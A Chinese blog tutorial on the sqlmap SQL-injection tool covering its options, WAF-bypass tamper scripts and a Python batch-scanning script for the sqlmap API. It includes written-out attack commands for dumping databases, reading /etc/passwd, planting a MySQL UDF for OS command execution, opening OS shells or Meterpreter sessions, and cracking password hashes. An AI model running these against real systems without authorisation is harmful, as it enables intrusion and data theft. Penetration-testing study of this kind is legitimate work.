首页 > 技术文章 > 安全工具推荐之sqlmap tamper&sqlmap api

lcxblogs 2021-01-16 23:10 原文

  我发现总有一些人喜欢问sqlmap的tamper脚本,问完工具问参数,问完参数问脚本......  

 

 

你这个问题问的水平就很艺术,让我一时不知从何说起......

说一下在sqlmap的使用过程中,个人了解的一些用法及扩展用法

鉴于此工具功能点实在太多,可讲的东西也太多,甚至有专门的那么厚一大本书讲sqlmap的(《sqlmap从入门到入......》哦不是,《sqlmap从入门到精通》)。本文只能选择一些我认为比较有趣的地方进行知识点的一个复述,没提到的内容请参考其他师傅们的文章

还是那句话,本文主观性的观点仅代表我个人

 

0x01 准备

俗话说:磨刀不误砍柴工

那就让我们愉快地开始吧~~~

 

sqlmap,好不好用,地球人都知道

下载链接官网: http://sqlmap.org/

GitHub : https://github.com/sqlmapproject/sqlmap

官网访问很慢,可用GitHub上的并采用加速下载

 

 

 

(顺便推荐一个加速下载的办法--------------------------------码云 

https://gitee.com/

用这个,注册一个号,从GitHub中导入仓库,把仓库的URL粘贴到相应位置,点击导入,然后下载压缩文件即可,速度还行)

 

 

sqlmap运行需要python环境,老版本的sqlmap不支持太高版本的python

当然目前版本的sqlmap是支持我主机上python3.8.0 的环境的(经过测试python3.9.0也支持)

 

 

这有个安装教程,不说了:

https://www.cnblogs.com/lauren1003/p/6131172.html

 

 

 0x02 tamper

关于sqlmap的具体参数用法,如果一个个列举,能讲到地老天荒

 https://github.com/sqlmapproject/sqlmap/wiki/Usage

自己看吧

 

 

 

 

 至于使用方面,这位师傅(https://www.freebuf.com/news/196755.html)总结得不错,非常nice,特意列举出来供大家参考

 

经验总结

1 在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.potian.com
2 当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。
例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER
3 当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。
4 -g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)当需要使用-g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用)
5 服务端允许的情况下,--method改变默认的http方法,和其他参数配合使用,例如--data,改变为post然后推送数据。  
6 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,--user-agent= --random-agent这两个参数可对waf针对恶意ua的防控进行绕过。  
7 指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type  
8 HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据
9 设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般--timeout和--retries配合使用  
10 有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。
例子:--eval=""import hashlib;hash=hashlib.md5(id).hexdigest()""上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。"  
11 sqlmap默认测试所有的GET和POST参数,上文提到过,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p ""id,cookie""但是有个别参数不想测试的时候可以使用--skip=“user-agent”参数。
12 数值处理:参数:--invalid-bignum --invalid-logical这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b
参数:--prefix,--suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加--prefix ""’)"" --suffix ""AND (’1’=’1""
13 --tamper可从tamper库里查找相关内容,使用--tamper tamper/*.py方式指定
14 上文多次解释--level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。
--level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。
15 risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。
警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。
16 "sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(--string参数添加字符串,--regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(--not-string添加)。
用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,--code=200。
17 默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。
B:Boolean-based blind SQL injection(布尔型注入)
E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(可联合查询注入)
S:Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: Inline SQL Injection  (内联注入)
当使用基于时间延迟注入的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间  
18 --union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着--levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定--union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,--union-char指定UNION查询的字符。指定查询的表,配合上文暴力破解的字符、范围等来详细使用。  
19 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D\-T\-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 --exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。
当我们不想跑路的时候,那么请使用下面内容:    
--start=LIMITSTART  First query output entry to retrieve指定从第几行开始输出,如:
--start=1    
--stop=LIMITSTOP   
Last query output entry to retrieve
指定从第几行停止输出
--stop=10 
--first=FIRSTCHAR  
First query output word character to retrieve
指定从第几个字符开始输出
--first 1    
--last=LASTCHAR
Last query output word character to retrieve
指定从第几个字符停止输出--last10
20 暴力检查:猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中
21 对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对--file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过--file-dest指定绝对文件路径。" 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 --os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 --os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:
1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof。
22 所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。  
23 --batch
在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。
--output-dir= 
指定输出路径,方式控制台输出过多,无法查看,也方便记录
--gpage=GOOGLEPAGE
好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面
--identify-waf 
进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
--mobile
使用移动产品UA,把sqlmap伪装成手机,也可使用前面的
-user-agent
自己指定
--smart 
智能深度启发式扫描,或许会有惊喜呢。
 --wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。

 

sqlmap实操语句

1 手工基本检测和判断(在注入点使用or、and等可判断是否有注入点)   原始网页:http://www.potian.com/mysql/product/user_info.php?uid=1 024
构造url1:http://www.potian.com/mysql/product/user_info.php?uid=1 024+AND+1=1
构造url2:http://www.potian.com/mysql/product/user_info.php?uid=1 024+AND+1=1 025  
2 基础检测语法 sqlmap.py -u  http://www.potian.com/mysql/product/user_info.php?uid=1 024  
3 批量检测 “sqlmap.py -m target.txt”,注意target.txt跟sqlmap在同一个目录下。  
4 绕过WAF进行SQL注入   (1)修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 为:return match.group().replace(word, ”/*!50000%s*/” % word)
(2)修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>为:<castquery= ”convert(%s,CHAR)”/>
(3)使用sqlmap进行注入测试sqlmap.py -u ”http://www.potian.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”
其它绕过waf脚本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
space2comment.py
用/**/代替空格
apostrophemask.py
用utf8代替引号
equaltolike.py   like
代替等号
space2dash.py
绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py
绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py
空格替换为#号,随机字符串以及换行符
apostrophenullencode.py
绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py
空格替换为#号
以及更多随机字符串
换行符
appendnullbyte.py
 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py
绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替换为其它空符号
base64encode.py
用base64编码替换
space2mssqlhash.py
替换空格
modsecurityversioned.py
过滤空格,包含完整的查询版本注释
space2mysqlblank.py
空格替换其它空白符号(mysql)
between.py
用between替换大于号(>)
space2mysqldash.py
替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py
围绕SQL关键字添加多个空格
space2plus.py
用+替换空格
bluecoat.py
代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py
双重查询语句,取代SQL关键字
space2randomblank.py
代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py
追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py
双url编码(不处理以编码的)
unionalltounion.py
替换UNION ALLSELECT UNION SELECT
charencode.py
url编码
randomcase.py
 随机大小写
unmagicquotes.py
宽字符绕过
GPCaddslashes randomcomments.py
用/**/分割sql关键字
charunicodeencode.py
字符串unicode编码
securesphere.py
追加特制的字符串
versionedmorekeywords.py
注释绕过 space2comment.py
替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py
 关键字前加注释  
5 URL重写SQL注入测试   value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/”
6 列举并破解密码哈希值   当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1  
7 获取表中的数据个数   sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb  
8 站点爬取 sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3  
9 注入时间预估(基于布尔) sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta  
10 使用hex避免字符编码导致数据丢失   sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors  
11 模拟测试手机环境站点   python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile  
12 智能判断测试   sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart  
13 结合burpsuite进行注入 sqlmap.py -r burpsuite 抓包.txt  
14 sqlmap 自动填写表单注入 sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 数据库名称–tables sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump  
15 读取linux下文件 sqlmap.py-u “url” –file /etc/password  
16 sqlmap cookies 注入 sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″  –dbs –level 3 sqlmap.py -u 注入点URL --cookie"id=xx" --level 3 sqlmap.py -u url --cookie "id=xx"--level 3 --tables( 猜表名) sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump  
17 连接mysql数据打开一个交互shell sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap --sql-shell select @@version; select @@plugin_dir;  
18 利用sqlmap上传lib_mysqludf_sys到MySQL插件目录 sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll' CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll' select sys_eval('ver');  
19 执行shell命令 sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/  
20 延时注入 sqlmap –dbs -u"url" –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u"url" –safe-freq /* 请求2次*/  

 

 

 这篇文章着重说一下tamper脚本,上文这位师傅的文章中也提到了很多tamper脚本

 

 先列举一下,sqlmap这些自带的tamper脚本都是干啥的(截止至本文发表日期,当前sqlmap版本是1.5.1.28,可能存在一些脚本与老版本有出入,不过不影响)

 

 --tamper  脚本名      用于使用脚本

 --list-tampers可以查看有哪些自带的脚本

 


* 0eunion.py-将<int> UNION的实例替换为<int> e0UNION
* apostrophemask.py-用其UTF-8全角字符替换撇号(')(例如'->%EF%BC%87)
* apostrophenullencode.py-用非法的双unicode替换撇号(')(例如'->%00%27)
* appendnullbyte.py-在有效负载末尾附加(访问)NULL字节字符(%00)
* base64encode.py-Base64编码给定有效负载中的所有字符
* between.py-用'NOT BETWEEN 0 AND#'替换大于运算符('>')并用'BETWEEN#AND#'等于运算符('=')
* binary.py-在可能的情况下注入关键字binary
* bluecoat.py-用有效的随机空白字符替换SQL语句后的空格字符。然后用运算符LIKE替换字符'='
* chardoubleencode.py-双重URL编码给定有效负载中的所有字符(未处理已编码)(例如SELECT->%2553%2545%254C%2545%2543%2554)
* charencode.py-对给定有效负载中的所有字符进行URL编码(未经处理已编码)(例如SELECT->%53%45%4C%45%43%54)
* charunicodeencode.py-Unicode URL编码给定有效负载中的所有字符(不处理已编码的字符)(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054)
* charunicodeescape.py-给定有效载荷中的Unicode转义未编码字符(不处理已编码的字符)(例如SELECT-> \ u0053 \ u0045 \ u004C \ u0045 \ u0043 \ u0054)
* commalesslimit.py-用对应的“ LIMIT N OFFSET M”替换(MySQL)实例,例如“ LIMIT M,N”
* commalessmid.py-用'MID(A FROM B FOR C)'替代(MySQL)实例,例如'MID(A,B,C)'
* commentbeforeparentheses.py-在括号前加上(内联)注释(例如((-> / ** /()
* concat2concatws.py-用对应的'CONCAT_WS(MID(CHAR(0),0,0),A,B)'替换(MySQL)实例,例如'CONCAT(A,B)'
* dunion.py-将<int> UNION的实例替换为<int> DUNION
* equaltolike.py-用'LIKE'counterpart替换所有出现的等于('=')运算符
* equaltorlike.py-用'RLIKE'对应项替换所有出现的等于('=')运算符
* escapequotes.py-斜杠转义单引号和双引号(例如'-> \')
* great.py-用对应的'GREATEST'替换大于运算符('>')
* halfversionedmorekeywords.py-在每个关键字之前添加(MySQL)版本注释
* hex2char.py-用等效的CONCAT(CHAR(),...)替换每个(MySQL)0x <hex>编码的字符串
* htmlencode.py-HTML编码(使用代码点)所有非字母数字字符(例如'->&#39;)
* ifnull2casewhenisnull.py-将实例“ IFNULL(A,B)”替换为“ CASE WHEN ISNULL(A)THEN(B)ELSE(A)END”
* ifnull2ifisnull.py-将实例“ IFNULL(A,B)”替换为“ IF(ISNULL(A),B,A)”
* informationschemacomment.py-在所有出现的(MySQL)“ information_schema”标识符的末尾添加一个内嵌注释(/ ** /)
* minimum.py-用'LEAST'对应替换大于运算符('>')
* lowercase.py-用小写字母值替换每个关键字字符(例如SELECT-> select)
* luanginx.py-LUA-Nginx WAF绕过(例如Cloudflare)
* misunion.py-用-.1UNION替换UNION的实例
* modsecurityversioned.py-包含(MySQL)版本注释的完整查询
* modsecurityzeroversioned.py-包含(MySQL)零版本注释的完整查询
* multiplespaces.py-在SQL关键字周围添加多个空格('')
* overlongutf8.py-将给定有效负载中的所有(非字母数字)字符转换为超长UTF8(不处理已编码的字符)(例如'->%C0%A7)
* overlongutf8more.py-将给定有效负载中的所有字符转换为超长UTF8(未处理已编码)(例如SELECT->%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94 )
* percent.py-在每个字符前面添加一个百分号('%')(例如SELECT->%S%E%L%E%C%T)
* plus2concat.py-用(MsSQL)函数CONCAT()对应项替换加号运算符('+')
* plus2fnconcat.py-用(MsSQL)ODBC函数{fn CONCAT()}替换正运算符('+')
* randomcase.py-用随机大小写值替换每个关键字字符(例如SELECT-> SEleCt)
* randomcomments.py-在SQL关键字内添加随机内联注释(例如SELECT-> S / ** / E / ** / LECT)
* schemasplit.py-使用空格(例如'testdb 9.e.users')分割模式标识符(例如'testdb.users')
* sleep2getlock.py-用“例如:GET_LOCK('ETgP',5)”替换“ SLEEP(5)”之类的实例
* sp_password.py-将(MsSQL)函数'sp_password'附加到有效负载的末尾,以便从DBMS日志中自动进行混淆
* space2comment.py-用注释'/ ** /'替换空格字符('')
* space2dash.py-用破折号('-')替换空格字符(''),后跟随机字符串和换行('\ n')
* space2hash.py-将(MySQL)空格字符('')的实例替换为井号('#'),后跟随机字符串和换行('\ n')
* space2morecomment.py-用注释'/ ** _ ** /'替换(MySQL)空格字符('')的实例
* space2morehash.py-将(MySQL)空格字符('')的实例替换为井号('#'),后跟随机字符串和换行('\ n')
* space2mssqlblank.py-用有效的备用字符集中的随机空白字符替换空格字符('')的(MsSQL)实例
* space2mssqlhash.py-用井号('#')替换空格字符(''),后跟换行('\ n')
* space2mysqlblank.py-用有效的备用字符集中的随机空白字符替换(MySQL)空格字符('')实例
* space2mysqldash.py-用短划线注释('-')替换空格字符(''),后跟换行('\ n')
* space2plus.py-用加号('+')替换空格字符('')
* space2randomblank.py-用有效的备用字符集中的随机空白字符替换空格字符('')
* substring2leftright.py-用LEFT和RIGHT替换PostgreSQL SUBSTRING
* symbolicologic.py-将AND和OR逻辑运算符替换为其对应的符号(&&和||)
* unionalltounion.py-用UNION SELECTcounterpart替换UNION ALL SELECT的实例
* unmagicquotes.py-将引号(')替换为多字节组合%BF%27,并在末尾添加通用注释(以使其起作用)
* uppercase.py-用大写字母值替换每个关键字字符(例如select-> SELECT)
* varnish.py-附加HTTP标头“ X-originating-IP”以绕过Varnish防火墙
* versionedkeywords.py-用(MySQL)版本注释将每个非功能关键字括起来
* versionedmorekeywords.py-每个关键字都包含(MySQL)版本注释
* xforwardedfor.py-附加一个伪造的HTTP标头'X-Forwarded-For'(等等)

 

由于sqlmap支持多种数据库,这些脚本也是支持多种数据库的,有些是全部支持,有些只支持某类数据库的某版本

 

 如果不太确定,可以打开脚本文件,查看功能、针对数据库、备注之类的信息,没有列举的版本有待测试

 

首先明确一个问题,为什么需要tamper脚本?

主要目的还是为了混淆绕过WAF以便进行SQL注入

既然有这么多单一功能的tamper(不乏有些脚本内容十分单薄,短短几行),就必然有针对某某WAF的相对复杂一点tamper(针对WAF防护特点,自写的脚本)

 

列举几个比较常见的tamper脚本

参考这篇文章: https://www.cnblogs.com/mark0/p/12349551.html

 

这些自带的脚本能用得上最好了,用不上或者有其他需求需要自己写或者基于现有的tamper脚本改造

思路大体是需要测试当前WAF的拦截机制,找到bypass规律,写脚本或者改脚本,应用到sqlmap中,一把梭或者留着以后批量,GG

 

随便打开一个脚本,大致格式如下:  

 

 

 

 这个lib.core来源于sqlmap;__priority__ 定义了脚本优先级(多个tamper脚本情况下有用);dependencies()函数声明该脚本适用/不适用的范围,可以为空;tamper是主要的函数,接受的参数为payload和**kwargs(不一定都用上),返回值为替换后的payload即retVal

 
 
然后具体怎么写就看要过什么WAF了,网上有很多人写过相应WAF的tamper,比如利用mysql内联注释加版本号过狗啦,待后期测试好了把结果和GitHub脚本链接补充上来
 

 

 0x03 sqlmap api  

有些时候想接连检测多个站,又不想开好几个窗口,就可以选择使用sqlmapapi

 

 

 sqlmapapi分两种模式:基于HTTP协议的接口模式与基于命令行的接口模式

先说基于命令行的接口模式

它分客户端与服务端的

 

 

 既然分服务端和客户端,就有-H -p参数使用的必要性

如果是客户端服务端在不同机器上,则有:

客户端--》python sqlmapapi.py -c -H "服务端IP" -p 8775

服务端--》python sqlmapapi.py -s -H "0.0.0.0" -p 8775

如果是客户端服务端在同一机器上,则有:

客户端--》python sqlmapapi.py -c

服务端--》python sqlmapapi.py -s

 

 

 

 api下,help可见接口命令

 

 

 

然后就可以按照命令进行操作了

new -u "url"

 

 

状态显示正在扫描,扫描完了会有terminated提示

 

 

 

 

 data看一下,如果"data":[]中不为空,说明存在注入,我这个就是显示没有的,啊这。。。

 

其他模式的注入思路同正常sqlmap的使用方法

new -r data.txt

 

 

再说基于HTTP协议的接口模式

至于这种方法,可以结合python代码利用(运行代码的时候别忘了开服务端哈,不开接口是用不了滴)

列举一些常见的接口(不是全部):

#辅助
@get('/error/401') 表明首先需要登录(Admin token),不然会返回状态码401   
@get("/task/new")创建一个新的任务,使用后会返回一个随机的taskid
@get("/task/<taskid>/delete")删除taskid

#Admin 命令
@get("/admin/list")返回所有taskid
@get("/admin/flush")删除所有任务
#sqlmap 核心交互命令
@get("/option/<taskid>/list")获取特定任务ID的列表选项
@post("/option/<taskid>/get")获取特定任务ID的选项值
@post("/option/<taskid>/set")为特定任务ID设置选项值
@post("/scan/<taskid>/start")定义开始扫描特定任务
@get("/scan/<taskid>/stop")定义停止扫描特定任务
@get("/scan/<taskid>/kill")杀死特定任务
@get("/scan/<taskid>/status")查询扫描状态
@get("/scan/<taskid>/data")获得到扫描结果
@get("/scan/<taskid>/log")查询特定任务的扫描的日志

关于利用过程,以代码说明

import requests
import json
import time

def sqlmapapi(url):
    headers = {
        'Content-Type': 'application/json'
    }
    scan_url={
        'url':url
    }
    scan_task_url='http://127.0.0.1:8775/task/new'   
    scan_task=requests.get(scan_task_url)
    #print(scan_task.json())
    scan_task_id=scan_task.json()['taskid']
    #print(scan_task_id)
    if 'success' in scan_task.content.decode('utf-8'):
        print('sqlmapapi task create success...')
        scan_task_set_url = 'http://127.0.0.1:8775/option/' + scan_task_id + '/set'
        scan_task_set = requests.post(scan_task_set_url,data=json.dumps(scan_url),headers=headers)
        #print(scan_url)
        #print(scan_task_set.content.decode('utf-8'))
        if 'success' in scan_task_set.content.decode('utf-8'):
            print('sqlmapapi taskid set success')
            scan_start_url='http://127.0.0.1:8775/scan/'+scan_task_id+'/start'
            scan_start=requests.post(scan_start_url,data=json.dumps(scan_url),headers=headers)
            #print(scan_start.content.decode('utf-8'))
            if 'success' in scan_start.content.decode('utf-8'):
                print('sqlmapapi scan start success')
                while 1:
                    scan_status_url = 'http://127.0.0.1:8775/scan/' + scan_task_id + '/status'
                    scan_status = requests.get(scan_status_url)
                    #print(scan_status.content.decode('utf-8'))
                    if 'running' in scan_status.content.decode('utf-8'):
                        print(url + '->the scan is running')
                        pass
                    else:
                        print('sqlmapapi scan end')
                        scan_data_url='http://127.0.0.1:8775/scan/' + scan_task_id + '/data'
                        scan_data=requests.get(scan_data_url).content.decode('utf-8')
                        with open(r'scan_result.txt','a+') as f:
                            f.write(url+'\n')
                            f.write(scan_data+'\n')
                            f.write('==========python sqlmapapi=========='+'\n')
                            f.close()
                        #print('delete taskid')
                        scan_deltask_url = 'http://127.0.0.1:8775/task/' + scan_task_id + '/delete'
                        scan_deltask=requests.get(scan_deltask_url)
                        if 'success' in scan_deltask.content.decode('utf-8'):
                            print('delete taskid success')
                        break
                    time.sleep(3)


if __name__ == '__main__':
    print("url check finished.....")
    for url in open('url.txt'):
        url=url.replace('\n','')
        sqlmapapi(url)

把要扫描的URL放进url.txt文件中,扫描完成后结果写在scan_result.txt文件中

代码整体思路是:创建一个新任务(task/new),为特定任务ID设置选项值(set),开始扫描特定任务(start),获得到扫描结果(data),完事后删除taskid(delete),很清晰

 这个例子是get注入,post注入的话,可在scan_url中多加一个data字段;同理什么cookie注入、referer注入也是在调用start接口的时候导入到过程中加进去cookie、referer字段,具体怎么加就随意了,加进去就好,随便写写

 

 参考文章:https://www.freebuf.com/articles/web/204875.html

 未经允许,禁止转载

 

推荐阅读